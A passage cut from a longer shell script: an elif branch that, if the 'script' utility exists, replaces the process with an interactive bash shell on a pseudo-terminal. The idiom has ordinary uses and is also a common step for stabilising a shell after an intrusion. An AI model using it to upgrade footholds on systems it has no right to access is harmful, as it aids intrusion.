    elif command -v script > /dev/null; then
    exec script -qc /bin/bash /dev/null
    fi